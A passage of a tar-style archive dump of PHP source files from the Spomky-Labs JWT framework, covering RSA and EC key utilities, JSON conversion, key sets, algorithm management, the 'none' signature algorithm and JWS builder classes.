.'020101' // INTEGER, 1 .'0442' // OCTET STRING, length(d) = 66 .$d[1] .'a007' // TAGGED OBJECT #0, length 7 .'0605' // OID, length 5 .'2b81040023' // 1.3.132.0.35 = P-521 Curve .'a18189' // TAGGED OBJECT #1, length 137 .'038186' // BIT STRING, length 134 .'00' // prepend with NUL - pubkey will follow ); } private static function getKey(JWK $jwk): string { $nistCurveSize = self::getNistCurveSize($jwk->get('crv')); $length = (int) ceil($nistCurveSize / 8); return "\04" .str_pad(Base64Url::decode($jwk->get('x')), $length, "\0", STR_PAD_LEFT) .str_pad(Base64Url::decode($jwk->get('y')), $length, "\0", STR_PAD_LEFT); } } jwt-core/Util/BigInteger.php 0000644 00000011055 15174446347 0011764 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use Brick\Math\BigInteger as BrickBigInteger; use function chr; use InvalidArgumentException; /** * @internal */ class BigInteger { /** * Holds the BigInteger's value. * * @var BrickBigInteger */ private $value; private function __construct(BrickBigInteger $value) { $this->value = $value; } /** * @return BigInteger */ public static function createFromBinaryString(string $value): self { $res = unpack('H*', $value); if (false === $res) { throw new InvalidArgumentException('Unable to convert the value'); } $data = current($res); return new self(BrickBigInteger::fromBase($data, 16)); } /** * @return BigInteger */ public static function createFromDecimal(int $value): self { return new self(BrickBigInteger::of($value)); } /** * @return BigInteger */ public static function createFromBigInteger(BrickBigInteger $value): self { return new self($value); } /** * Converts a BigInteger to a binary string. */ public function toBytes(): string { if ($this->value->isEqualTo(BrickBigInteger::zero())) { return ''; } $temp = $this->value->toBase(16); $temp = 0 !== (mb_strlen($temp, '8bit') & 1) ? '0'.$temp : $temp; $temp = hex2bin($temp); if (false === $temp) { throw new InvalidArgumentException('Unable to convert the value into bytes'); } return ltrim($temp, chr(0)); } /** * Adds two BigIntegers. * * @param BigInteger $y * * @return BigInteger */ public function add(self $y): self { $value = $this->value->plus($y->value); return new self($value); } /** * Subtracts two BigIntegers. * * @param BigInteger $y * * @return BigInteger */ public function subtract(self $y): self { $value = $this->value->minus($y->value); return new self($value); } /** * Multiplies two BigIntegers. * * @param BigInteger $x * * @return BigInteger */ public function multiply(self $x): self { $value = $this->value->multipliedBy($x->value); return new self($value); } /** * Divides two BigIntegers. * * @param BigInteger $x * * @return BigInteger */ public function divide(self $x): self { $value = $this->value->dividedBy($x->value); return new self($value); } /** * Performs modular exponentiation. * * @param BigInteger $e * @param BigInteger $n * * @return BigInteger */ public function modPow(self $e, self $n): self { $value = $this->value->modPow($e->value, $n->value); return new self($value); } /** * Performs modular exponentiation. * * @param BigInteger $d * * @return BigInteger */ public function mod(self $d): self { $value = $this->value->mod($d->value); return new self($value); } public function modInverse(BigInteger $m): BigInteger { return new self($this->value->modInverse($m->value)); } /** * Compares two numbers. * * @param BigInteger $y */ public function compare(self $y): int { return $this->value->compareTo($y->value); } /** * @param BigInteger $y */ public function equals(self $y): bool { return $this->value->isEqualTo($y->value); } /** * @param BigInteger $y * * @return BigInteger */ public static function random(self $y): self { return new self(BrickBigInteger::randomRange(0, $y->value)); } /** * @param BigInteger $y * * @return BigInteger */ public function gcd(self $y): self { return new self($this->value->gcd($y->value)); } /** * @param BigInteger $y */ public function lowerThan(self $y): bool { return $this->value->isLessThan($y->value); } public function isEven(): bool { return $this->value->isEven(); } public function get(): BrickBigInteger { return $this->value; } } jwt-core/Util/JsonConverter.php 0000644 00000002614 15174446347 0012547 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use InvalidArgumentException; use function is_string; use RuntimeException; use Throwable; final class JsonConverter { /** * @param mixed $payload * * @throws RuntimeException if the payload cannot be encoded */ public static function encode($payload): string { try { $data = json_encode($payload, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if (!is_string($data)) { throw new InvalidArgumentException('Unable to encode the data'); } return $data; } catch (Throwable $throwable) { throw new RuntimeException('Invalid content.', $throwable->getCode(), $throwable); } } /** * @throws RuntimeException if the payload cannot be decoded * * @return mixed */ public static function decode(string $payload) { try { return json_decode($payload, true, 512, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); } catch (Throwable $throwable) { throw new RuntimeException('Invalid content.', $throwable->getCode(), $throwable); } } } jwt-core/Util/RSAKey.php 0000644 00000021705 15174446347 0011046 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use function array_key_exists; use Base64Url\Base64Url; use function count; use FG\ASN1\Universal\BitString; use FG\ASN1\Universal\Integer; use FG\ASN1\Universal\NullObject; use FG\ASN1\Universal\ObjectIdentifier; use FG\ASN1\Universal\OctetString; use FG\ASN1\Universal\Sequence; use InvalidArgumentException; use function is_array; use Jose\Component\Core\JWK; use RuntimeException; /** * @internal */ class RSAKey { /** * @var Sequence */ private $sequence; /** * @var bool */ private $private; /** * @var array */ private $values; /** * @var BigInteger */ private $modulus; /** * @var int */ private $modulus_length; /** * @var BigInteger */ private $public_exponent; /** * @var null|BigInteger */ private $private_exponent; /** * @var BigInteger[] */ private $primes = []; /** * @var BigInteger[] */ private $exponents = []; /** * @var null|BigInteger */ private $coefficient; private function __construct(JWK $data) { $this->values = $data->all(); $this->populateBigIntegers(); $this->private = array_key_exists('d', $this->values); } /** * @return RSAKey */ public static function createFromJWK(JWK $jwk): self { return new self($jwk); } public function getModulus(): BigInteger { return $this->modulus; } public function getModulusLength(): int { return $this->modulus_length; } public function getExponent(): BigInteger { $d = $this->getPrivateExponent(); if (null !== $d) { return $d; } return $this->getPublicExponent(); } public function getPublicExponent(): BigInteger { return $this->public_exponent; } public function getPrivateExponent(): ?BigInteger { return $this->private_exponent; } /** * @return BigInteger[] */ public function getPrimes(): array { return $this->primes; } /** * @return BigInteger[] */ public function getExponents(): array { return $this->exponents; } public function getCoefficient(): ?BigInteger { return $this->coefficient; } public function isPublic(): bool { return !array_key_exists('d', $this->values); } /** * @param RSAKey $private * * @return RSAKey */ public static function toPublic(self $private): self { $data = $private->toArray(); $keys = ['p', 'd', 'q', 'dp', 'dq', 'qi']; foreach ($keys as $key) { if (array_key_exists($key, $data)) { unset($data[$key]); } } return new self(new JWK($data)); } public function toArray(): array { return $this->values; } public function toPEM(): string { if (null === $this->sequence) { $this->sequence = new Sequence(); if (array_key_exists('d', $this->values)) { $this->initPrivateKey(); } else { $this->initPublicKey(); } } $result = '-----BEGIN '.($this->private ? 'RSA PRIVATE' : 'PUBLIC').' KEY-----'.PHP_EOL; $result .= chunk_split(base64_encode($this->sequence->getBinary()), 64, PHP_EOL); $result .= '-----END '.($this->private ? 'RSA PRIVATE' : 'PUBLIC').' KEY-----'.PHP_EOL; return $result; } /** * Exponentiate with or without Chinese Remainder Theorem. * Operation with primes 'p' and 'q' is appox. 2x faster. * * @param RSAKey $key * * @throws RuntimeException if the exponentiation cannot be achieved */ public static function exponentiate(self $key, BigInteger $c): BigInteger { if ($c->compare(BigInteger::createFromDecimal(0)) < 0 || $c->compare($key->getModulus()) > 0) { throw new RuntimeException(); } if ($key->isPublic() || null === $key->getCoefficient() || 0 === count($key->getPrimes()) || 0 === count($key->getExponents())) { return $c->modPow($key->getExponent(), $key->getModulus()); } $p = $key->getPrimes()[0]; $q = $key->getPrimes()[1]; $dP = $key->getExponents()[0]; $dQ = $key->getExponents()[1]; $qInv = $key->getCoefficient(); $m1 = $c->modPow($dP, $p); $m2 = $c->modPow($dQ, $q); $h = $qInv->multiply($m1->subtract($m2)->add($p))->mod($p); return $m2->add($h->multiply($q)); } private function populateBigIntegers(): void { $this->modulus = $this->convertBase64StringToBigInteger($this->values['n']); $this->modulus_length = mb_strlen($this->getModulus()->toBytes(), '8bit'); $this->public_exponent = $this->convertBase64StringToBigInteger($this->values['e']); if (!$this->isPublic()) { $this->private_exponent = $this->convertBase64StringToBigInteger($this->values['d']); if (array_key_exists('p', $this->values) && array_key_exists('q', $this->values)) { $this->primes = [ $this->convertBase64StringToBigInteger($this->values['p']), $this->convertBase64StringToBigInteger($this->values['q']), ]; if (array_key_exists('dp', $this->values) && array_key_exists('dq', $this->values) && array_key_exists('qi', $this->values)) { $this->exponents = [ $this->convertBase64StringToBigInteger($this->values['dp']), $this->convertBase64StringToBigInteger($this->values['dq']), ]; $this->coefficient = $this->convertBase64StringToBigInteger($this->values['qi']); } } } } private function convertBase64StringToBigInteger(string $value): BigInteger { return BigInteger::createFromBinaryString(Base64Url::decode($value)); } private function initPublicKey(): void { $oid_sequence = new Sequence(); $oid_sequence->addChild(new ObjectIdentifier('1.2.840.113549.1.1.1')); $oid_sequence->addChild(new NullObject()); $this->sequence->addChild($oid_sequence); $n = new Integer($this->fromBase64ToInteger($this->values['n'])); $e = new Integer($this->fromBase64ToInteger($this->values['e'])); $key_sequence = new Sequence(); $key_sequence->addChild($n); $key_sequence->addChild($e); $key_bit_string = new BitString(bin2hex($key_sequence->getBinary())); $this->sequence->addChild($key_bit_string); } private function initPrivateKey(): void { $this->sequence->addChild(new Integer(0)); $oid_sequence = new Sequence(); $oid_sequence->addChild(new ObjectIdentifier('1.2.840.113549.1.1.1')); $oid_sequence->addChild(new NullObject()); $this->sequence->addChild($oid_sequence); $v = new Integer(0); $n = new Integer($this->fromBase64ToInteger($this->values['n'])); $e = new Integer($this->fromBase64ToInteger($this->values['e'])); $d = new Integer($this->fromBase64ToInteger($this->values['d'])); $p = new Integer($this->fromBase64ToInteger($this->values['p'])); $q = new Integer($this->fromBase64ToInteger($this->values['q'])); $dp = array_key_exists('dp', $this->values) ? new Integer($this->fromBase64ToInteger($this->values['dp'])) : new Integer(0); $dq = array_key_exists('dq', $this->values) ? new Integer($this->fromBase64ToInteger($this->values['dq'])) : new Integer(0); $qi = array_key_exists('qi', $this->values) ? new Integer($this->fromBase64ToInteger($this->values['qi'])) : new Integer(0); $key_sequence = new Sequence(); $key_sequence->addChild($v); $key_sequence->addChild($n); $key_sequence->addChild($e); $key_sequence->addChild($d); $key_sequence->addChild($p); $key_sequence->addChild($q); $key_sequence->addChild($dp); $key_sequence->addChild($dq); $key_sequence->addChild($qi); $key_octet_string = new OctetString(bin2hex($key_sequence->getBinary())); $this->sequence->addChild($key_octet_string); } /** * @param string $value * * @return string */ private function fromBase64ToInteger($value) { $unpacked = unpack('H*', Base64Url::decode($value)); if (!is_array($unpacked) || 0 === count($unpacked)) { throw new InvalidArgumentException('Unable to get the private key'); } return \Brick\Math\BigInteger::fromBase(current($unpacked), 16)->toBase(10); } } jwt-core/Util/Hash.php 0000644 00000003575 15174446347 0010640 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; /** * @internal */ class Hash { /** * Hash Parameter. * * @var string */ private $hash; /** * DER encoding T. * * @var string */ private $t; /** * Hash Length. * * @var int */ private $length; private function __construct(string $hash, int $length, string $t) { $this->hash = $hash; $this->length = $length; $this->t = $t; } /** * @return Hash */ public static function sha1(): self { return new self('sha1', 20, "\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14"); } /** * @return Hash */ public static function sha256(): self { return new self('sha256', 32, "\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20"); } /** * @return Hash */ public static function sha384(): self { return new self('sha384', 48, "\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30"); } /** * @return Hash */ public static function sha512(): self { return new self('sha512', 64, "\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40"); } public function getLength(): int { return $this->length; } /** * Compute the HMAC. */ public function hash(string $text): string { return hash($this->hash, $text, true); } public function name(): string { return $this->hash; } public function t(): string { return $this->t; } } jwt-core/Util/ECSignature.php 0000644 00000011212 15174446347 0012111 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core\Util; use InvalidArgumentException; use function is_string; use const STR_PAD_LEFT; /** * @internal */ final class ECSignature { private const ASN1_SEQUENCE = '30'; private const ASN1_INTEGER = '02'; private const ASN1_MAX_SINGLE_BYTE = 128; private const ASN1_LENGTH_2BYTES = '81'; private const ASN1_BIG_INTEGER_LIMIT = '7f'; private const ASN1_NEGATIVE_INTEGER = '00'; private const BYTE_SIZE = 2; /** * @throws InvalidArgumentException if the length of the signature is invalid */ public static function toAsn1(string $signature, int $length): string { $signature = bin2hex($signature); if (self::octetLength($signature) !== $length) { throw new InvalidArgumentException('Invalid signature length.'); } $pointR = self::preparePositiveInteger(mb_substr($signature, 0, $length, '8bit')); $pointS = self::preparePositiveInteger(mb_substr($signature, $length, null, '8bit')); $lengthR = self::octetLength($pointR); $lengthS = self::octetLength($pointS); $totalLength = $lengthR + $lengthS + self::BYTE_SIZE + self::BYTE_SIZE; $lengthPrefix = $totalLength > self::ASN1_MAX_SINGLE_BYTE ? self::ASN1_LENGTH_2BYTES : ''; $bin = hex2bin( self::ASN1_SEQUENCE .$lengthPrefix.dechex($totalLength) .self::ASN1_INTEGER.dechex($lengthR).$pointR .self::ASN1_INTEGER.dechex($lengthS).$pointS ); if (!is_string($bin)) { throw new InvalidArgumentException('Unable to parse the data'); } return $bin; } /** * @throws InvalidArgumentException if the signature is not an ASN.1 sequence */ public static function fromAsn1(string $signature, int $length): string { $message = bin2hex($signature); $position = 0; if (self::ASN1_SEQUENCE !== self::readAsn1Content($message, $position, self::BYTE_SIZE)) { throw new InvalidArgumentException('Invalid data. Should start with a sequence.'); } if (self::ASN1_LENGTH_2BYTES === self::readAsn1Content($message, $position, self::BYTE_SIZE)) { $position += self::BYTE_SIZE; } $pointR = self::retrievePositiveInteger(self::readAsn1Integer($message, $position)); $pointS = self::retrievePositiveInteger(self::readAsn1Integer($message, $position)); $bin = hex2bin(str_pad($pointR, $length, '0', STR_PAD_LEFT).str_pad($pointS, $length, '0', STR_PAD_LEFT)); if (!is_string($bin)) { throw new InvalidArgumentException('Unable to parse the data'); } return $bin; } private static function octetLength(string $data): int { return (int) (mb_strlen($data, '8bit') / self::BYTE_SIZE); } private static function preparePositiveInteger(string $data): string { if (mb_substr($data, 0, self::BYTE_SIZE, '8bit') > self::ASN1_BIG_INTEGER_LIMIT) { return self::ASN1_NEGATIVE_INTEGER.$data; } while (0 === mb_strpos($data, self::ASN1_NEGATIVE_INTEGER, 0, '8bit') && mb_substr($data, 2, self::BYTE_SIZE, '8bit') <= self::ASN1_BIG_INTEGER_LIMIT) { $data = mb_substr($data, 2, null, '8bit'); } return $data; } private static function readAsn1Content(string $message, int &$position, int $length): string { $content = mb_substr($message, $position, $length, '8bit'); $position += $length; return $content; } /** * @throws InvalidArgumentException if the data is not an integer */ private static function readAsn1Integer(string $message, int &$position): string { if (self::ASN1_INTEGER !== self::readAsn1Content($message, $position, self::BYTE_SIZE)) { throw new InvalidArgumentException('Invalid data. Should contain an integer.'); } $length = (int) hexdec(self::readAsn1Content($message, $position, self::BYTE_SIZE)); return self::readAsn1Content($message, $position, $length * self::BYTE_SIZE); } private static function retrievePositiveInteger(string $data): string { while (0 === mb_strpos($data, self::ASN1_NEGATIVE_INTEGER, 0, '8bit') && mb_substr($data, 2, self::BYTE_SIZE, '8bit') > self::ASN1_BIG_INTEGER_LIMIT) { $data = mb_substr($data, 2, null, '8bit'); } return $data; } } jwt-core/AlgorithmManager.php 0000644 00000003355 15174446347 0012255 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; use function array_key_exists; use InvalidArgumentException; class AlgorithmManager { /** * @var array */ private $algorithms = []; /** * @param Algorithm[] $algorithms */ public function __construct(array $algorithms) { foreach ($algorithms as $algorithm) { $this->add($algorithm); } } /** * Returns true if the algorithm is supported. * * @param string $algorithm The algorithm */ public function has(string $algorithm): bool { return array_key_exists($algorithm, $this->algorithms); } /** * Returns the list of names of supported algorithms. * * @return string[] */ public function list(): array { return array_keys($this->algorithms); } /** * Returns the algorithm if supported, otherwise throw an exception. * * @param string $algorithm The algorithm * * @throws InvalidArgumentException if the algorithm is not supported */ public function get(string $algorithm): Algorithm { if (!$this->has($algorithm)) { throw new InvalidArgumentException(sprintf('The algorithm "%s" is not supported.', $algorithm)); } return $this->algorithms[$algorithm]; } /** * Adds an algorithm to the manager. */ public function add(Algorithm $algorithm): void { $name = $algorithm->name(); $this->algorithms[$name] = $algorithm; } } jwt-core/JWKSet.php 0000644 00000021105 15174446347 0010134 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Core; use function array_key_exists; use ArrayIterator; use function count; use Countable; use function in_array; use InvalidArgumentException; use function is_array; use IteratorAggregate; use JsonSerializable; use Traversable; class JWKSet implements Countable, IteratorAggregate, JsonSerializable { /** * @var array */ private $keys = []; /** * @param JWK[] $keys * * @throws InvalidArgumentException if the list is invalid */ public function __construct(array $keys) { foreach ($keys as $k => $key) { if (!$key instanceof JWK) { throw new InvalidArgumentException('Invalid list. Should only contains JWK objects'); } if ($key->has('kid')) { unset($keys[$k]); $this->keys[$key->get('kid')] = $key; } else { $this->keys[] = $key; } } } /** * Creates a JWKSet object using the given values. * * @throws InvalidArgumentException if the keyset is not valid * * @return JWKSet */ public static function createFromKeyData(array $data): self { if (!isset($data['keys'])) { throw new InvalidArgumentException('Invalid data.'); } if (!is_array($data['keys'])) { throw new InvalidArgumentException('Invalid data.'); } $jwkset = new self([]); foreach ($data['keys'] as $key) { $jwk = new JWK($key); if ($jwk->has('kid')) { $jwkset->keys[$jwk->get('kid')] = $jwk; } else { $jwkset->keys[] = $jwk; } } return $jwkset; } /** * Creates a JWKSet object using the given Json string. * * @throws InvalidArgumentException if the data is not valid * * @return JWKSet */ public static function createFromJson(string $json): self { $data = json_decode($json, true); if (!is_array($data)) { throw new InvalidArgumentException('Invalid argument.'); } return self::createFromKeyData($data); } /** * Returns an array of keys stored in the key set. * * @return JWK[] */ public function all(): array { return $this->keys; } /** * Add key to store in the key set. * This method is immutable and will return a new object. * * @return JWKSet */ public function with(JWK $jwk): self { $clone = clone $this; if ($jwk->has('kid')) { $clone->keys[$jwk->get('kid')] = $jwk; } else { $clone->keys[] = $jwk; } return $clone; } /** * Remove key from the key set. * This method is immutable and will return a new object. * * @param int|string $key Key to remove from the key set * * @return JWKSet */ public function without($key): self { if (!$this->has($key)) { return $this; } $clone = clone $this; unset($clone->keys[$key]); return $clone; } /** * Returns true if the key set contains a key with the given index. * * @param int|string $index */ public function has($index): bool { return array_key_exists($index, $this->keys); } /** * Returns the key with the given index. Throws an exception if the index is not present in the key store. * * @param int|string $index * * @throws InvalidArgumentException if the index is not defined */ public function get($index): JWK { if (!$this->has($index)) { throw new InvalidArgumentException('Undefined index.'); } return $this->keys[$index]; } /** * Returns the values to be serialized. */ public function jsonSerialize(): array { return ['keys' => array_values($this->keys)]; } /** * Returns the number of keys in the key set. * * @param int $mode */ public function count($mode = COUNT_NORMAL): int { return count($this->keys, $mode); } /** * Try to find a key that fits on the selected requirements. * Returns null if not found. * * @param string $type Must be 'sig' (signature) or 'enc' (encryption) * @param null|Algorithm $algorithm Specifies the algorithm to be used * @param array $restrictions More restrictions such as 'kid' or 'kty' * * @throws InvalidArgumentException if the key type is not valid (must be "sig" or "enc") */ public function selectKey(string $type, ?Algorithm $algorithm = null, array $restrictions = []): ?JWK { if (!in_array($type, ['enc', 'sig'], true)) { throw new InvalidArgumentException('Allowed key types are "sig" or "enc".'); } $result = []; foreach ($this->keys as $key) { $ind = 0; $can_use = $this->canKeyBeUsedFor($type, $key); if (false === $can_use) { continue; } $ind += $can_use; $alg = $this->canKeyBeUsedWithAlgorithm($algorithm, $key); if (false === $alg) { continue; } $ind += $alg; if (false === $this->doesKeySatisfyRestrictions($restrictions, $key)) { continue; } $result[] = ['key' => $key, 'ind' => $ind]; } if (0 === count($result)) { return null; } usort($result, [$this, 'sortKeys']); return $result[0]['key']; } /** * Internal method only. Should not be used. * * @internal * @internal */ public static function sortKeys(array $a, array $b): int { if ($a['ind'] === $b['ind']) { return 0; } return ($a['ind'] > $b['ind']) ? -1 : 1; } /** * Internal method only. Should not be used. * * @internal */ public function getIterator(): Traversable { return new ArrayIterator($this->keys); } /** * @throws InvalidArgumentException if the key does not fulfill with the "key_ops" constraint * * @return bool|int */ private function canKeyBeUsedFor(string $type, JWK $key) { if ($key->has('use')) { return $type === $key->get('use') ? 1 : false; } if ($key->has('key_ops')) { $key_ops = $key->get('key_ops'); if (!is_array($key_ops)) { throw new InvalidArgumentException('Invalid key parameter "key_ops". Should be a list of key operations'); } return $type === self::convertKeyOpsToKeyUse($key_ops) ? 1 : false; } return 0; } /** * @return bool|int */ private function canKeyBeUsedWithAlgorithm(?Algorithm $algorithm, JWK $key) { if (null === $algorithm) { return 0; } if (!in_array($key->get('kty'), $algorithm->allowedKeyTypes(), true)) { return false; } if ($key->has('alg')) { return $algorithm->name() === $key->get('alg') ? 2 : false; } return 1; } private function doesKeySatisfyRestrictions(array $restrictions, JWK $key): bool { foreach ($restrictions as $k => $v) { if (!$key->has($k) || $v !== $key->get($k)) { return false; } } return true; } /** * @throws InvalidArgumentException if the key operation is not supported */ private static function convertKeyOpsToKeyUse(array $key_ops): string { switch (true) { case in_array('verify', $key_ops, true): case in_array('sign', $key_ops, true): return 'sig'; case in_array('encrypt', $key_ops, true): case in_array('decrypt', $key_ops, true): case in_array('wrapKey', $key_ops, true): case in_array('unwrapKey', $key_ops, true): case in_array('deriveKey', $key_ops, true): case in_array('deriveBits', $key_ops, true): return 'enc'; default: throw new InvalidArgumentException(sprintf('Unsupported key operation value "%s"', implode(', ', $key_ops))); } } } jwt-signature-algorithm-none/None.php 0000644 00000002124 15174446347 0013716 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use function in_array; use InvalidArgumentException; use Jose\Component\Core\JWK; final class None implements SignatureAlgorithm { public function allowedKeyTypes(): array { return ['none']; } public function sign(JWK $key, string $input): string { $this->checkKey($key); return ''; } public function verify(JWK $key, string $input, string $signature): bool { return '' === $signature; } public function name(): string { return 'none'; } /** * @throws InvalidArgumentException if the key type is invalid */ private function checkKey(JWK $key): void { if (!in_array($key->get('kty'), $this->allowedKeyTypes(), true)) { throw new InvalidArgumentException('Wrong key type.'); } } } jwt-signature-algorithm-none/LICENSE 0000644 00000002073 15174446347 0013316 0 ustar 00 The MIT License (MIT) Copyright (c) 2014-2019 Spomky-Labs Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. jwt-signature/JWSBuilderFactory.php 0000644 00000001726 15174446347 0013407 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use Jose\Component\Core\AlgorithmManagerFactory; class JWSBuilderFactory { /** * @var AlgorithmManagerFactory */ private $signatureAlgorithmManagerFactory; public function __construct(AlgorithmManagerFactory $signatureAlgorithmManagerFactory) { $this->signatureAlgorithmManagerFactory = $signatureAlgorithmManagerFactory; } /** * This method creates a JWSBuilder using the given algorithm aliases. * * @param string[] $algorithms */ public function create(array $algorithms): JWSBuilder { $algorithmManager = $this->signatureAlgorithmManagerFactory->create($algorithms); return new JWSBuilder($algorithmManager); } } jwt-signature/Algorithm/SignatureAlgorithm.php 0000644 00000001621 15174446347 0015635 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use Jose\Component\Core\Algorithm; use Jose\Component\Core\JWK; interface SignatureAlgorithm extends Algorithm { /** * Sign the input. * * @param JWK $key The private key used to sign the data * @param string $input The input */ public function sign(JWK $key, string $input): string; /** * Verify the signature of data. * * @param JWK $key The private key used to sign the data * @param string $input The input * @param string $signature The signature to verify */ public function verify(JWK $key, string $input, string $signature): bool; } jwt-signature/Algorithm/MacAlgorithm.php 0000644 00000001613 15174446347 0014375 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature\Algorithm; use Jose\Component\Core\Algorithm; use Jose\Component\Core\JWK; interface MacAlgorithm extends Algorithm { /** * Sign the input. * * @param JWK $key The private key used to hash the data * @param string $input The input */ public function hash(JWK $key, string $input): string; /** * Verify the signature of data. * * @param JWK $key The private key used to hash the data * @param string $input The input * @param string $signature The signature to verify */ public function verify(JWK $key, string $input, string $signature): bool; } jwt-signature/JWSVerifierFactory.php 0000644 00000001653 15174446347 0013573 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use Jose\Component\Core\AlgorithmManagerFactory; class JWSVerifierFactory { /** * @var AlgorithmManagerFactory */ private $algorithmManagerFactory; public function __construct(AlgorithmManagerFactory $algorithmManagerFactory) { $this->algorithmManagerFactory = $algorithmManagerFactory; } /** * Creates a JWSVerifier using the given signature algorithm aliases. * * @param string[] $algorithms */ public function create(array $algorithms): JWSVerifier { $algorithmManager = $this->algorithmManagerFactory->create($algorithms); return new JWSVerifier($algorithmManager); } } jwt-signature/JWSBuilder.php 0000644 00000017742 15174446347 0012064 0 ustar 00 <?php declare(strict_types=1); /* * The MIT License (MIT) * * Copyright (c) 2014-2020 Spomky-Labs * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ namespace Jose\Component\Signature; use function array_key_exists; use Base64Url\Base64Url; use function count; use function in_array; use InvalidArgumentException; use function is_array; use Jose\Component\Core\Algorithm; use Jose\Component\Core\AlgorithmManager; use Jose\Component\Core\JWK; use Jose\Component\Core\Util\JsonConverter; use Jose\Component\Core\Util\KeyChecker; use Jose\Component\Signature\Algorithm\MacAlgorithm; use Jose\Component\Signature\Algorithm\SignatureAlgorithm; use LogicException; use RuntimeException; class JWSBuilder { /** * @var null|string */ protected $payload; /** * @var bool */ protected $isPayloadDetached; /** * @var array */ protected $signatures = []; /** * @var null|bool */ protected $isPayloadEncoded; /** * @var AlgorithmManager */ private $signatureAlgorithmManager; public function __construct(AlgorithmManager $signatureAlgorithmManager) { $this->signatureAlgorithmManager = $signatureAlgorithmManager; } /** * Returns the algorithm manager associated to the builder. */ public function getSignatureAlgorithmManager(): AlgorithmManager { return $this->signatureAlgorithmManager; } /** * Reset the current data. * * @return JWSBuilder */ public function create(): self { $this->payload = null; $this->isPayloadDetached = false; $this->signatures = []; $this->isPayloadEncoded = null; return $this; } /** * Set the payload. * This method will return a new JWSBuilder object. * * @throws InvalidArgumentException if the payload is not UTF-8 encoded * * @return JWSBuilder */ public function withPayload(string $payload, bool $isPayloadDetached = false): self { if (false === mb_detect_encoding($payload, 'UTF-8', true)) { throw new InvalidArgumentException('The payload must be encoded in UTF-8'); } $clone = clone $this; $clone->payload = $payload; $clone->isPayloadDetached = $isPayloadDetached; return $clone; } /** * Adds the information needed to compute the signature. * This method will return a new JWSBuilder object. * * @throws InvalidArgumentException if the payload encoding is inconsistent * * @return JWSBuilder */ public function addSignature(JWK $signatureKey, array $protectedHeader, array $header = []): self { $this->checkB64AndCriticalHeader($protectedHeader); $isPayloadEncoded = $this->checkIfPayloadIsEncoded($protectedHeader); if (null === $this->isPayloadEncoded) { $this->isPayloadEncoded = $isPayloadEncoded; } elseif ($this->isPayloadEncoded !== $isPayloadEncoded) { throw new InvalidArgumentException('Foreign payload encoding detected.'); } $this->checkDuplicatedHeaderParameters($protectedHeader, $header); KeyChecker::checkKeyUsage($signatureKey, 'signature'); $algorithm = 